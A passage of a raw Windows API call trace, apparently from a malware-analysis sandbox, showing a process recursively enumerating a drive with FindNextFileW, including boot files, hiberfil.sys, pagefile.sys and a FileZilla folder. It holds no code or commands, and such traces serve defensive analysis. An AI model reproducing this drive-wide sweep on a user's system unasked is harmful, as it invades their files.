ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="Fonts", cAlternateFileName="")) returned 1 [0245.596] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.596] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0245.596] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.596] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0245.596] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.596] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0245.597] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.597] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0245.597] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.597] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="it-IT", cAlternateFileName="")) returned 1 [0245.597] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.597] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0245.597] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.597] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0245.598] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.598] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0245.598] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.598] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0245.598] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.598] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0245.598] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.599] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0245.599] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.599] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0245.602] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.602] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0245.602] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.602] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0245.602] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.603] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="qps-ploc", cAlternateFileName="")) returned 1 [0245.603] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.603] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0245.603] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4121068 | out: hHeap=0x520000) returned 1 [0245.603] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x376f800 | out: lpFindFileData=0x376f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffeb21, dwReserved1=0x1313, cFileName="en-US", cAlternateFileName="")) returned 0 [0245.604] FindClose (in: hFindFile=0x53a218 | out: hFindFile=0x53a218) returned 1 [0245.604] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.604] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0245.605] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.605] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0245.605] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.605] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0245.605] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.605] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0245.605] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.605] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0245.606] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.606] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1 [0245.606] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.606] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0245.606] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.606] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0245.606] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.606] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0245.607] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.607] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1 [0245.607] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.607] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0245.607] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.607] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0245.607] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.607] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0245.608] FindClose (in: hFindFile=0x53a358 | out: hFindFile=0x53a358) returned 1 [0245.608] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4100050 | out: hHeap=0x520000) returned 1 [0245.608] FindNextFileW (in: hFindFile=0x53a8d8, lpFindFileData=0x376fcf8 | out: lpFindFileData=0x376fcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x77000000, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0245.609] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4100050 | out: hHeap=0x520000) returned 1 [0245.609] FindNextFileW (in: hFindFile=0x53a8d8, lpFindFileData=0x376fcf8 | out: lpFindFileData=0x376fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1 [0245.611] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4100050 | out: hHeap=0x520000) returned 1 [0245.611] FindNextFileW (in: hFindFile=0x53a8d8, lpFindFileData=0x376fcf8 | out: lpFindFileData=0x376fcf8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xbb1f47e8, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0245.762] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4100050 | out: hHeap=0x520000) returned 1 [0245.762] FindNextFileW (in: hFindFile=0x53a8d8, lpFindFileData=0x376fcf8 | out: lpFindFileData=0x376fcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0xbcd95dc8, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0245.762] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4100050 | out: hHeap=0x520000) returned 1 [0245.762] FindNextFileW (in: hFindFile=0x53a8d8, lpFindFileData=0x376fcf8 | out: lpFindFileData=0x376fcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1d0a4a01, ftLastAccessTime.dwHighDateTime=0x1d63332, ftLastWriteTime.dwLowDateTime=0x1d0a4a01, ftLastWriteTime.dwHighDateTime=0x1d63332, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0245.763] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4140070 | out: hHeap=0x520000) returned 1 [0245.763] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x376f800 | out: lpFindFileData=0x376f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x399b8590, ftCreationTime.dwHighDateTime=0x1d5d0d6, ftLastAccessTime.dwLowDateTime=0xa2df5310, ftLastAccessTime.dwHighDateTime=0x1d5fb83, ftLastWriteTime.dwLowDateTime=0xa2df5310, ftLastWriteTime.dwHighDateTime=0x1d5fb83, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xffffc1fe, dwReserved1=0x200, cFileName="filezilla.exe", cAlternateFileName="FILEZI~1.EXE")) returned 1 [0245.765] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4156088 | out: hHeap=0x520000) returned 1 [0245.765] FindNextFileW (in: hFindFile=0x60ed30, lpFindFileData=0x376f584 | out: lpFindFileData=0x376f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x309, dwReserved1=0xffffe30a, cFileName="ink", cAlternateFileName="")) returned 1 [0245.766] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.766] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0245.766] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.766] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, 